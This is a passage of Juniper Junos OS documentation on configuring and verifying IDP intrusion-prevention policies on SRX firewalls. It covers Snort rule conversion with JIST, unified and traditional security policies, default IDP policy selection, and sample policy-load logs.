From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
    user@host# show security idp
    idp-policy policy1 {
    rulebase-ips {
        rule rule1 {
    match {
    attacks {
        predefined-attack-groups Response_Critical;
    }
    }
        then {
    action {
    no-action;
     }
}
}
     }
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the IDP Signature Database Manually | 39

To confirm that the configuration is working properly, perform this task:

Verify the IDP Signature Database Manually

Purpose

Display the IDP signature database manually.

Action

From operational mode, enter the show security idp command.

SEE ALSO

request security idp security-package offline-download

RELATED DOCUMENTATION

Predefined IDP Attack Objects and Object Groups | 105

Snort IPS Signatures

SUMMARY


Juniper Networks IDP supports Snort IPS signatures. You can convert the Snort IPS rules into Juniper IDP custom attack signatures using the Juniper Integration of Snort Tool (JIST). These Snort IPS rules help detect malicious attacks.

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- Benefits of Snort IPS Signatures | 40
- How Snort IPS works? | 41

IDP secures your network by using signatures that help to detect attacks. Snort is an open-source intrusion prevention system (IPS).

Figure 2: Snort IPS Signatures



Benefits of Snort IPS Signatures

• Help detect malicious attacks.

How Snort IPS works?

The JIST tool in Junos OS enables seamless integration with the following actions:

- JIST is included in Junos OS by default. The tool supports Snort version 2 and version 3 rules.
- JIST converts the Snort rules with snort-ids into equivalent custom attack signatures on Junos OS with respective snort-ids as the custom attack names.
- When you run the request command with Snort IPS rules, JIST generates set commands equivalent to the Snort IPS rules. Use the request security idp jist-conversion command to generate the set commands as CLI output. To load the set commands, use the load set terminal statement or copy and paste the commands in the configuration mode, and then commit. You can then configure the existing IDP policy with the converted custom attack signatures.
- All the Snort IPS rule files that didn't get converted are written to /tmp/jist-failed.rules. The error log files generated during the conversion are written to /tmp/jist-error.log.
- To view the jist-package version, use the show security idp jist-package-version command.

RELATED DOCUMENTATION

request security idp jist-conversion

show security idp jist-package-version



Configure IDP Policies

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IDP Policies

SUMMARY

IDP policies in Juniper Networks' Junos software are designed to detect and prevent unauthorized access to network resources. The policies use predefined and custom attack objects to identify potential threats. By configuring IDP policies, network administrators can monitor, log, and block malicious activities, enhancing the security and integrity of their network infrastructure.

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- IDP Policy Support for Unified Policies | 46
- Multiple IDP Policies for Unified
 Policies | 46
- IDP Policy Selection for Unified Policies | 47
- Example: Configure Multiple IDP Policies and a Default IDP Policy for Unified Security Policies | 51
- Example: Enable IDP in a Traditional SecurityPolicy | 56
- Verify the IDP Policy Compilation and Load Status | 61

The Junos OS IDP policy enables you to selectively enforce various attack detection and prevention techniques on network traffic passing through an IDP-enabled device. It allows you to define policy rules to match a section of traffic based on a zone, network, and application. Active or passive preventive actions are taken on that traffic.

Understand IDP Policy

An IDP policy defines how your device handles the network traffic. It allows you to enforce various attack detection and prevention techniques on traffic traversing your network.

A policy is made up of *rule bases*, and each rule base contains a set of *rules*. You define rule parameters, such as traffic match conditions, action, and logging requirements, then add the rules to rule bases. After you create an IDP Policy by adding rules in one or more rule bases, you can select that policy to be the active policy on your device.

Junos OS allows you to configure and apply multiple IDP policies. Validation of configurations is done for the IDP policy that is configured as an active policy. You can install the same IDP policy on multiple

devices, or you can install a unique IDP policy on each device in your network. A single policy can contain only one instance of any type of rule base.

The IDP feature is enabled by default. No license is required. Custom attacks and custom attack groups in IDP policies can also be configured and installed even when a valid license and signature database are not installed on the device. As a response to new vulnerabilities, Juniper Networks periodically provides a file containing attack database updates on the Juniper website. You can download this file to protect your network from new threats. You need a separate license to retrieve and keep Juniper's signature database up to date.

When a new IDP policy is loaded, the existing sessions are inspected using the newly loaded policy and the existing sessions not ignored for IDP processing.

Table 5 on page 44 describes the existing sessions after a new policy is loaded:

Table 5: IDP Inspection Changes

Item	Description
Packet-based signatures	IDP inspection continues for packet-based attacks with the new IDP policy.
Stream-based signatures	IDP inspection continues for stream-based attacks from the new IDP policy with the end offset number less than the number of bytes passed for that flow.
Context-based signatures	IDP inspection continues for context-based attacks created by the detector after a new IDP policy is loaded, with an exception that the new policy that is loaded with the new detector.

The following IDP policies are supported:

- DMZ_Services
- DNS_Services
- File_Server
- Getting_Started
- IDP_Default
- Recommended
- Web_Server

You can perform the following tasks to manage IDP policies:

- Create new IDP policies starting from scratch. See "Example: Defining Rules for an IDP IPS RuleBase" on page 82.
- Create an IDP policy starting with one of the predefined templates provided by Juniper Networks (see "Understanding Predefined IDP Policy Templates" on page 14).
- Add or delete rules within a rule base. You can use any of the following IDP objects to create rules:
 - Zone

You can configure source-address and source-except addresses when from-zone is any, and similarly to have destination-address and destination-except addresses when to-zone is any.

- Network objects available in the base system
- Predefined service objects provided by Juniper Networks
- Custom application objects
- · Predefined attack objects provided by Juniper Networks
- Create custom attack objects (see "Configure IDP Signature-Based Attacks" on page 181).
- Update the signature database provided by Juniper Networks. This database contains all predefined objects.
- Maintain multiple IDP policies. Any one of the policies can be applied to the device.

The IDP policies for each user logical system are compiled together and stored on the data plane memory. To estimate adequate data plane memory for a configuration, consider these two factors:

- IDP policies applied to each user logical system are considered unique instances because the ID and zones for each user logical system are different. Estimates need to consider the combined memory requirements for all user logical systems.
- As the application database increases, compiled policies requires more memory. Memory usage should be kept below the available data plane memory to allow for database increases.

SEE ALSO

Understand IDP Policy Rules | 67

IDP Terminal Rules | 92

IDP Application Sets | 198

Custom Attack Objects | 106

IDP Policy Support for Unified Policies

With the support of IDP policy within unified security policy:

- IDP policy is activated using the set security policies from-zone *<zone-name>* to-zone *<zone-name>* policy *<policy-name>* then permit application-services idp-policy *<idp-policy-name>* command.
- With the IDP policy being made available within the unified security policy all the IDP matches are handled within the unified policy unless explicit source, destination, or application is defined (traditional policy).
- You can additionally configure match conditions in IDP to achieve additional inspection granularity.
- Configuring source or destination address, source and destination-except, from and to zone, or application is not required with unified policy, as the match happens in the security policy itself.
- Layer 7 application might get changed during a session lifetime and this application change might lead to disabling of IDP service for the session.
- Initial security policy match might result in single or multiple policy matches. As a part of session interest check IDP is enabled if IDP policy is present in any of the matched rules.

If you have configured a traditional security policy (with 5-tuples matching condition or dynamicapplication configured as none) and an unified policy (with 6-tuple matching condition), the traditional security policy matches the traffic first, prior to the unified policy.

When you configure a unified policy with a dynamic application as one of the matching condition, the configuration eliminates the additional steps involved in IDP policy configuration. All the IDP policy configurations are handled within the unified security policy and simplifies the task of configuring IDP policy to detect any attack or intrusions for a given session.

Multiple IDP Policies for Unified Policies

IN THIS SECTION

Benefits of Multiple IDP Policies and Default IDP Policy Configuration for Unified Policies | 47

When security devices are configured with unified policies, you can configure multiple IDP policies and set one of those policies as the default IDP policy. If multiple IDP policies are configured for a session

and when policy conflict occurs, the device applies the default IDP policy for that session and thus resolves any policy conflicts.

The initial security policy lookup phase, which occurs prior to a dynamic application being identified, might result in multiple potential policy matches. IDP is enabled on the session if at least one of the matched security policies have an IDP policy configured. If only one IDP policy is configured in the potential policy list, then that IDP policy is applied for the session. If there are multiple IDP policies configured for a session in the potential policy list, then the device applies the IDP policy that is configured as default IDP policy.

After dynamic applications are identified for a session, if the final matched policy has IDP polices configured that are different from the default IDP policy, then policy relookup is performed, and the IDP policy configured for the final matched policy is applied. If the final matched security policy has the same IDP policy that was configured during the initial security policy lookup, then that IDP policy is applied for the session. If the final matched security policy does not have an IDP policy configured, then IDP processing is disabled for the session.

If you have configured two or more IDP policies in a unified security policy, then you must configure the default IDP policy.

To configure the IDP policy as the default policy, use the set security idp default-policy *policy-name* command.

Benefits of Multiple IDP Policies and Default IDP Policy Configuration for Unified Policies

- Provides the flexibility to maintain and use multiple IDP policies.
- Handles policy conflicts using the default IDP policy configuration.

IDP Policy Selection for Unified Policies

IN THIS SECTION

- IDP Policy Selection with a Single IDP Policy | 48
- IDP Policy Selection with Multiple IDP Policies | 50

IDP Policy Selection with a Single IDP Policy

When a security policy is processed for a session, initial security policy match might result in single or multiple policy matches. If an application cache is present, the policy match results in a single policy match.

As part of the session interest check, the system enables IDP if any of the matched rules contain an IDP policy.

After dynamic application identification is performed, policy relookup is performed by the security policy. Layer 7 application services (IDP) are informed to disable themselves, if IDP is not configured on the final matched policy. With the IDP policy being made available within the unified security policy, all the IDP matches are handled within the unified policy unless explicit source, destination, or application is defined (traditional policy). Configuring source or destination address, source and destination-except, from and to zone, or application is not required with unified policy, because the match happens in the security policy itself. Table 6 on page 48 provides example of IDP policy selection within a security policy.

Table 6: Example of Policy Selection Within a Security Policy

Security Policy	Source Zone	Source Address	Destination Zone	Destination Address	Dynamic Applicatio n	Applicatio n service	Policies
P1	In	10.1.1.1	Out	Any	НТТР	IDP	Recommende d
P2	In	10.1.1.1	Out	Any	GMAIL	UTM	utm_policy_1

Figure 3 on page 49 and Figure 4 on page 49 provide the workflow details for single and multiple IDP policy selection for unified policies.

Figure 3: IDP Processing for Flow First Path





Figure 4: IDP Processing After Final Policy Lookup



IDP Policy Selection with Multiple IDP Policies

If there are multiple policies present in the potential policy list with different IDP policies, then the device applies the IDP policy that is configured as default IDP policy.

After dynamic applications are identified, if the final matched policy has IDP polices configured that are different from the default IDP policy, then policy re-lookup is performed, and the IDP policy configured for the final matched policy is applied.

If the final matched security policy does not have an IDP policy configured, then IDP processing is disabled for the session.

Table 7: Example of Policy Selection within a Security Policy

Policy	Source Zone	Source Address	Destination Zone	Destination Address	Dynamic Applicatio n	Applicatio n service	Policies
P1	In	10.1.1.1	Out	Any	НТТР	IDP	recommended
P2	In	10.1.1.1	Out	Any	GMAIL	UTM	utm_policy_1
P3	In	any	Out	Any	GMAIL	IDP	idpengine

Considering the example security policies configured for a session:

If security policy P1 and policy P3 match for a session

IDP Policy conflict is observed. So, the IDP policy that is configured as default IDP policy is applied in this case.

After the final security policy match, IDP policy re-lookup is performed based on matched IDP policies. If the final matched security policy is policy P1, then IDP policy which is named recommended is applied for the session.

• If security policy P1 and policy P2 match for a session

Since there is only one IDP policy configured in the matched security policies, IDP policy which is named recommended is applied for the session.

If the final matched security policy is policy P1 then the session inspection continues to apply IDP policy named recommended. If the final matched security policy is policy P2 then IDP is disabled and ignores the session.

Example: Configure Multiple IDP Policies and a Default IDP Policy for Unified Security Policies

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- Verification | 55

For transit traffic to pass through IDP inspection, you configure a security policy and enable IDP application services on all traffic that you want to inspect.

This example shows how to configure a security policy to enable IDP services for the first time on traffic flowing on the device.

Requirements

Before you begin, install or verify an IDP feature license.

This example uses the following hardware and software components:

- An SRX Series Firewall.
- Junos OS Release 18.3R1 and later.

This configuration example was tested using an SRX1500 device running Junos OS Release 18.3R1. However, you can use the same configuration on SRX300 line of devices, SRX2300, SRX4100, SRX4200, and SRX5000 line devices using the latest releases of Junos OS.

Overview

In this example, you configure two security policies to enable IDP services on an SRX1500 device to inspect all traffic from the trust zone to the untrust zone.

As a first step, you must download and install the signature database from the Juniper Networks website. Next, download and install the predefined IDP policy templates and activate the predefined policy "Recommended" as the active policy.

Instead the configuration style uses the same for Traditional Policies as that of Unified policies by referring to IDP policy is handled in the security policies set security policies from-zone <zone-name> to-zone <zone-name> policy <policy-name> then permit application-services idp-policy idp-policy-name command.

Next, you must create two security policies from the trust zone to the untrust zone and specify actions to be taken on the traffic that matches the conditions specified in the policies.

Configuration

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Procedure

CLI Quick Configuration

CLI quick configuration is not available for this example, because manual intervention is required during the configuration.

Step-by-Step Procedure

- **1.** Create two security policies for the traffic from the trust zone to the untrust zone.
 - The order of the security policies on the SRX Series Firewall is important because Junos OS
 performs a policy lookup starting from the top of the list, and when the device finds a match for
 the traffic received, it stops policy lookup.
 - The SRX Series Firewall allows you to enable IDP processing on a security policy on a rule-by-rule basis, instead of turning on IDP inspection across the device.
 - A security policy identifies what traffic is to be sent to the IDP engine, and then the IDP engine
 applies inspection based on the contents of that traffic. Traffic that matches a security policy in
 which IDP is not enabled completely bypasses IDP processing. Traffic that matches a security
 policy marked for IDP processing enables the IDP policy that is configured in that particular
 security policy.

Create a security policy P1 with a dynamic application as the match criteria.

[edit security policies]
user@host# set from-zone trust to-zone untrust policy P1 match source-address any

```
user@host# set from-zone trust to-zone untrust policy P1 match destination-address any user@host# set from-zone trust to-zone untrust policy P1 match application junos-defaults user@host# set from-zone trust to-zone untrust policy P1 match dynamic-application junos:HTTP
```

Create a security policy P2 with a dynamic application as the match criteria.

```
[edit security policies]
user@host# set from-zone trust to-zone untrust policy P2 match source-address any
user@host# set from-zone trust to-zone untrust policy P2 match destination-address any
user@host# set from-zone trust to-zone untrust policy P2 match application junos-defaults
user@host# set from-zone trust to-zone untrust policy P2 match dynamic-application junos:GMAIL
```

2. Define the IDP policies that you want to configure in security policies.

```
[edit]
user@host# set security idp idp-policy recommended
user@host# set security idp idp-policy idpengine
```

3. Configure the IDP policies as per steps in "IDP Policy Rules and IDP Rule Bases" on page 65, then configure one of the IDP policies (Recommended) as the default IDP policy.

```
[edit]
user@host# set security idp default-policy recommended
```

4. Confirm the default policy configured on your device.

```
[edit]
user@host# show security idp default-policy
```

```
default-policy recommended;
```

5. Specify the action to be taken on traffic that matches conditions specified in the security policy. The security policy action must be to permit the flow.

```
[edit security policies]
user@host# set from-zone trust to-zone untrust policy P1 then permit application-services idp-
policy recommended
```

user@host# set from-zone trust to-zone untrust policy P2 then permit application-services idp-policy idpengine

Security policies use different IDP policy allowing unique IDP rules processing for each security-policy. When multiple IDP rules are used on security policies, an IDP default-policy is required to be configured.

Results

From configuration mode, confirm your configuration by entering the **show security policies** command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security policies
from-zone trust to-zone untrust {
    policy P1 {
        match {
            source-address any;
            destination-address any;
            application junos-http;
        }
        then {
            permit {
                application-services {
                     idp-policy recommended;
                }
            }
        }
    }
}
from-zone trust to-zone untrust {
    policy P2 {
        match {
            source-address any;
            destination-address any;
            application junos : GMAIL;
        }
        then {
            permit {
                application-services {
                     idp-policy idpengine;
                }
```

```
}
}
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the IDP Configuration | 55

Verify the IDP Configuration

Purpose

Verify that the IDP configuration is working properly.

Action

From operational mode, enter the show security idp status command.

user@host> show security idp status detail

```
TCP: [Current: 0] [Max: 0 @ 2013-02-05 23:06:20 GMT-8]

UDP: [Current: 0] [Max: 0 @ 2013-02-05 23:06:20 GMT-8]

Other: [Current: 0] [Max: 0 @ 2013-02-05 23:06:20 GMT-8]

Session Statistics:

[ICMP: 0] [TCP: 0] [UDP: 0] [Other: 0]

ID Name Sessions Memory Detector

0 Recommended 0 2233 12.6.160121210
```

Meaning

The sample output shows the Recommended predefined IDP policy as the active policy.

Example: Enable IDP in a Traditional Security Policy

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The traditional policy style of using only one active IDP policy name for all firewall rules via set security idp active-policy has been deprecated.

Instead the configuration style uses the same for Traditional Policies as that of Unified policies by referring to IDP policy is handled in the security policies set security policies from-zone <zone-name> to-zone <zone-name> policy <policy-name> then permit application-services idp-policy idp-policy-name command.

This example shows how to configure two security policies to enable IDP services on all HTTP and HTTPS traffic flowing in both directions on a security device. This type of configuration can be used to monitor traffic to and from a secure area of an internal network as an added security measure for confidential communications.

In this example, Zone2 is part of the internal network.

Requirements

Before you begin:

- Configure network interfaces.
- Create security zones. See Example: Creating Security Zones.
- Configure applications. See "Example: Configuring IDP Applications and Services" on page 202.
- Configuring IDP Policies. See "IDP Policy Rules and IDP Rule Bases" on page 65.

Overview

For transit traffic to pass through IDP inspection, you configure a security policy and enable IDP application services on all traffic that you want to inspect. Security policies contain rules defining the types of traffic permitted on the network and the way that the traffic is treated inside the network. Enabling IDP in a security policy directs traffic that matches the specified criteria to be checked against the IDP rulebases.

IDP is enabled by default. No license is required. Custom attacks and custom attack groups in IDP policies can be configured and installed even when a valid license and signature database are not installed on the device. As a response to new vulnerabilities, Juniper Networks periodically provides a file containing attack database updates on the Juniper website. You can download this file to protect your network from new threats. You need a separate license to retrieve and keep Juniper's signature database up to date.

To allow transit traffic to pass through without IDP inspection, specify a *permit* action for the rule without enabling the IDP application services. Traffic matching the conditions in this rule passes through the device without IDP inspection.

This example shows how to configure two policies, idp-app-policy-1 and idp-app-policy-2, to enable IDP services on all HTTP and HTTPS traffic flowing in both directions on the device. The idp-app-policy-1 policy directs all HTTP and HTTPS traffic flowing from previously configured Zone1 to Zone2 to be checked against IDP rulebases. The idp-app-policy-2 policy directs all HTTP and HTTPS traffic flowing from Zone2 to Zone1 to be checked against IDP rulebases.

The action set in the security policy action must be *permit*. You cannot enable IDP for traffic that the device denies or rejects.

If you have configured a traditional security policy (with 5-tuples matching condition or dynamic application configured as none) and an unified policy (with 6-tuple matching condition), the traditional security policy matches the traffic first, prior to the unified policy.

When you configure a unified policy with a dynamic application as one of the matching condition, the configuration eliminates the additional steps of configuring, source and destination address, source destination except, from and to zones, or application. All the IDP policy configurations are handled

within the unified security policy and simplifies the task of configuring IDP policy to detect any attack or intrusions for a given session. Configuring source or destination address, source and destination-except, from and to zone, or application is not required with unified policy, as the match happens in the security policy itself.

Configuration

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Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match source-address any
set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match destinationaddress any
set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match application
junos-http
set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match application
junos-https
set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 then permit
application-services idp
set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match source-address
any
set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match destinationaddress any
set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match application
junos-http
set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match application
junos-https

set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 then permit application-services idp

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To enable IDP services on all HTTP and HTTPS traffic flowing in both directions on the device:

1. Create a security policy for traffic flowing from Zone1 to Zone2 that has been identified as junoshttp or junoshttps application traffic.

```
user@host# set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match source-address any user@host# set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match destination-address any user@host# set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match application junos-http user@host# set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 match application junos-https
```

2. Specify the action to be taken on Zone1 to Zone2 traffic that matches conditions specified in the policy.

```
user@host# set security policies from-zone Zone1 to-zone Zone2 policy idp-app-policy-1 then permit application-services idp
```

3. Create another security policy for traffic flowing in the opposite direction that has been identified as junos-http or junos-https application traffic.

```
user@host# set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match source-address any
user@host# set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match destination-address any
user@host# set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match application junos-http
user@host# set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 match application junos-https
```

4. Specify the action to be taken on traffic that matches the conditions specified in this policy.

```
user@host# set security policies from-zone Zone2 to-zone Zone1 policy idp-app-policy-2 then permit application-services idp
```

5. Configure the active-policy.

```
user@host# set security idp active-policy recommended
```

Results

From configuration mode, confirm your configuration by entering the show security policies command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security policies
from-zone Zone1 to-zone Zone2 {
    policy idp-app-policy-1 {
       match {
            source-address any;
            destination-address any;
            application [junos-http junos-https];
       }
        then {
            permit {
                application-services {
                    idp;
                }
           }
       }
   }
from-zone Zone2 to-zone Zone1 {
    policy idp-app-policy-2 {
       match {
            source-address any;
            destination-address any;
            application [junos-http junos-https];
```

```
then {
    permit {
        application-services {
            idp;
        }
     }
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 61

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the security policy configuration is correct.

Action

From operational mode, enter the show security policies command.

Verify the IDP Policy Compilation and Load Status

IN THIS SECTION

• Purpose | **62**

- Action | **62**
- Meaning | 65

Purpose

Display the IDP log files to verify the IDP policy load and compilation status. When activating an IDP policy, you can view the IDP logs and verify if the policy is loaded and compiled successfully.

Action

To track the load and compilation progress of an IDP policy, configure either one or both of the following in the CLI:

• You can configure a log file located in /var/log/, and set trace option flags to record these operations:

```
user@host# set security idp traceoptions file idpd
user@host# set security idp traceoptions flag all
```

• You can configure your device to log system log messages to a file in the /var/log directory:

```
user@host# set system syslog file messages any any
```

After committing the configuration in the CLI, enter either of the following commands from the shell prompt in the UNIX-level shell:

Sample Output

```
user@host> start shell
user@host% tail -f /var/log/idpd
Aug 3 15:46:42 chiron clear-log[2655]: logfile cleared
Aug 3 15:47:12 idpd_config_read: called: check: 0
Aug 3 15:47:12 idpd commit in progres ...
Aug 3 15:47:13 Entering enable processing.
Aug 3 15:47:13 Enable value (default)
Aug 3 15:47:13 IDP processing default.
Aug 3 15:47:13 idp config knob set to (2)
```

```
Aug 3 15:47:13 Warning: active policy configured but no application package installed, attack
may not be detected!
Aug 3 15:47:13 idpd_need_policy_compile:480 Active policy path /var/db/idpd/sets/idpengine.set
Aug 3 15:47:13 Active Policy (idpengine) rule base configuration is changed so need to
recompile active policy
Aug 3 15:47:13 Compiling policy idpengine....
Aug 3 15:47:13 Apply policy configuration, policy ops bitmask = 41
Aug 3 15:47:13 Starting policy(idpengine) compile with compress dfa...
Aug 3 15:47:35 policy compilation memory estimate: 82040
Aug 3 15:47:35 ...Passed
Aug 3 15:47:35 Starting policy package...
Aug 3 15:47:36 ...Policy Packaging Passed
Aug 3 15:47:36 [get_secupdate_cb_status] state = 0x1
Aug 3 15:47:36 idpd_policy_apply_config idpd_policy_set_config()
Aug 3 15:47:36 Reading sensor config...
Aug 3 15:47:36 sensor/idp node does not exist, apply defaults
Aug 3 15:47:36 sensor conf saved
Aug 3 15:47:36 idpd_dev_add_ipc_connection called...
Aug 3 15:47:36 idpd_dev_add_ipc_connection: done.
Aug 3 15:47:36 idpd_policy_apply_config: IDP state (2) being set
Aug 3 15:47:36 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:36 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:36 Apply policy configuration, policy ops bitmask = 4
Aug 3 15:47:36 Starting policy load...
Aug 3 15:47:36 Loading policy(/var/db/idpd/bins/idpengine.bin.gz.v + /var/db/idpd/sec-
repository/installed-detector/libidp-detector.so.tgz.v + /var/db/idpd/bins/compressed_ai.bin)...
Aug 3 15:47:36 idpd_dev_add_ipc_connection called...
Aug 3 15:47:36 idpd_dev_add_ipc_connection: done.
Aug 3 15:47:37 idpd_policy_load: creating temp tar directory '/var/db/idpd//bins/52b58e5'
Aug 3 15:47:37 sc_policy_unpack_tgz: running addver cmd '/usr/bin/addver -r /var/db/idpd/sec-
repository/installed-detector/libidp-detector.so.tgz.v /var/db/idpd//bins/52b58e5/__temp.tgz
> /var/log/idpd.addver'
Aug 3 15:47:38 sc_policy_unpack_tgz: running tar cmd '/usr/bin/tar -C /var/db/idpd//bins/
52b58e5 -xzf /var/db/idpd//bins/52b58e5/__temp.tgz'
Aug 3 15:47:40 idpd_policy_load: running cp cmd 'cp /var/db/idpd//bins/52b58e5/
detector4.so /var/db/idpd//bins/detector.so'
Aug 3 15:47:43 idpd_policy_load: running chmod cmd 'chmod 755 /var/db/idpd//bins/detector.so'
Aug 3 15:47:44 idpd_policy_load: running rm cmd 'rm -fr /var/db/idpd//bins/52b58e5'
Aug 3 15:47:45 idpd_policy_load: detector version: 10.3.160100209
Aug 3 15:47:45 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:45 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:45 idp_policy_loader_command: sc_klibs_subs_policy_pre_compile() returned 0 (EOK)
Aug 3 15:47:45 idpd_policy_load: IDP_LOADER_POLICY_PRE_COMPILE returned EAGAIN, retrying...
```

```
after (5) secs
Aug 3 15:47:50 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:50 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:50 idp_policy_loader_command: sc_klibs_subs_policy_pre_compile() returned 0 (EOK)
Aug 3 15:47:50 idpd_policy_load: idp policy parser pre compile succeeded, after (1) retries
Aug 3 15:47:50 idpd_policy_load: policy parser compile subs s0 name /var/db/idpd/bins/
idpengine.bin.gz.v.1 buf 0x0 size 0zones 0xee34c7 z_size 136 detector /var/db/idpd//bins/
detector.so ai_buf 0x0 ai_size 0 ai /var/db/idpd/bins/compressed_ai.bin
Aug 3 15:47:50 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:50 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:50 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:50 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:50 idpd_policy_load: idp policy parser compile succeeded
Aug 3 15:47:50 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:50 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:50 idpd_policy_load: idp policy pre-install succeeded
Aug 3 15:47:50 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:50 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:50 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:50 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:50 idpd_policy_load: idp policy install succeeded
Aug 3 15:47:50 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:50 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:50 idpd_policy_load: idp policy post-install succeeded
Aug 3 15:47:51 IDP policy[/var/db/idpd/bins/idpengine.bin.gz.v] and detector[/var/db/idpd/sec-
repository/installed-detector/libidp-detector.so.tgz.v] loaded successfully.
Aug 3 15:47:51 Applying sensor configuration
Aug 3 15:47:51 idpd_dev_add_ipc_connection called...
Aug 3 15:47:51 idpd_dev_add_ipc_connection: done.
Aug 3 15:47:51 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:51 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:51 idpd_comm_server_get_event:545: evGetNext got event.
Aug 3 15:47:51 idpd_comm_server_get_event:553: evDispatch OK
Aug 3 15:47:51
...idpd commit end
Aug 3 15:47:51 Returning from commit mode, status = 0.
Aug 3 15:47:51 [get_secupdate_cb_status] state = 0x1
Aug 3 15:47:51 Got signal SIGCHLD....
```

```
user@host> start shell
user@host% tail -f /var/log/messages
```

```
Aug 3 15:46:56 chiron mgd[2444]: UI_COMMIT_PROGRESS: Commit operation in progress: no commit script changes

Aug 3 15:46:56 chiron mgd[2444]: UI_COMMIT_PROGRESS: Commit operation in progress: no transient commit script changes

Aug 3 15:46:56 chiron mgd[2444]: UI_COMMIT_PROGRESS: Commit operation in progress: finished loading commit script changes

Aug 3 15:46:56 chiron mgd[2444]: UI_COMMIT_PROGRESS: Commit operation in progress: exporting juniper.conf

.....

Aug 3 15:47:51 chiron idpd[2678]: IDP_POLICY_LOAD_SUCCEEDED: IDP policy[/var/db/idpd/bins/idpengine.bin.gz.v] and detector[/var/db/idpd/sec-repository/installed-detector/libidp-detector.so.tgz.v] loaded successfully(Regular load).

Aug 3 15:47:51 chiron idpd[2678]: IDP_COMMIT_COMPLETED: IDP policy commit is complete.

......

Aug 3 15:47:51 chiron chiron sc_set_flow_max_sessions: max sessions set 16384
```

Meaning

Displays log messages showing the procedures that run in the background after you commit the set security idp active-policy command. This sample output shows that the policy compilation, sensor configuration, and policy load are successful.

RELATED DOCUMENTATION

Intrusion Detection And Prevention Overview | 2

IDP Policy Rules and IDP Rule Bases

SUMMARY

This topic explains the structure and components of IDP policies, including rulebases which are collections of rules that define how traffic is inspected and threats are detected. It also covers the different types of rulebases. The administrators can

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- Understand IDP Policy Rules | 67

use IDP policy rules and rulebases to effectively protect their networks from various threats.

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- Example: Deactivate and Activate Rules in an IDP Rulebase | **78**
- IDP Application-Level DDoS Rulebases | 80
- IDP IPS Rulebases | 81
- Example: Define Rules for an IDP IPS RuleBase | **82**
- IDP Exempt Rulebases | 86
- Example: Define Rules for an IDP Exempt Rulebase | 88
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IDP policies consist of rules organized within rulebases that analyze network traffic to detect and mitigate threats. These policies define how specific detection methods are applied to identify potential attacks and determine appropriate security actions.

IDP Policy Rule Bases

A rulebase is an ordered set of rules that use a specific detection method to identify and prevent attacks.

Rules are instructions that guide detection mechanisms. They specify which part of the network traffic the IDP system should examine to find attacks. A matched rule indicates the detection of an attack in the network traffic, which then triggers the action for that specific rule. The IDP system performs the specified action and protects your network from that attack.

Each rulebase can contain multiple rules. You determine the sequence in which rules are applied to network traffic by placing them in the desired order. Each rulebase in the IDP system uses specific detection methods to identify and prevent attacks. Junos OS supports two types of rulebases—intrusion prevention system (IPS) rulebase and exempt rulebase.

Understand IDP Policy Rules

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Each instruction in an Intrusion Detection and Prevention (IDP) policy is called a rule. Rules are created in rulebases.

Rulebases are a set of rules that combine to define an IDP policy. Rules provide context to detection mechanisms by specifying which part of the network traffic the IDP system should look in, to find attacks. When a rule is matched, it means that an attack has been detected in the network traffic, triggering the action for that rule. The IDP system performs the specified action and protects your network from that attack.

The following sections explain the components that make up IDP policy rules.

IDP Rule Match Conditions

Match conditions specify the type of network traffic you want IDP to monitor for attacks.

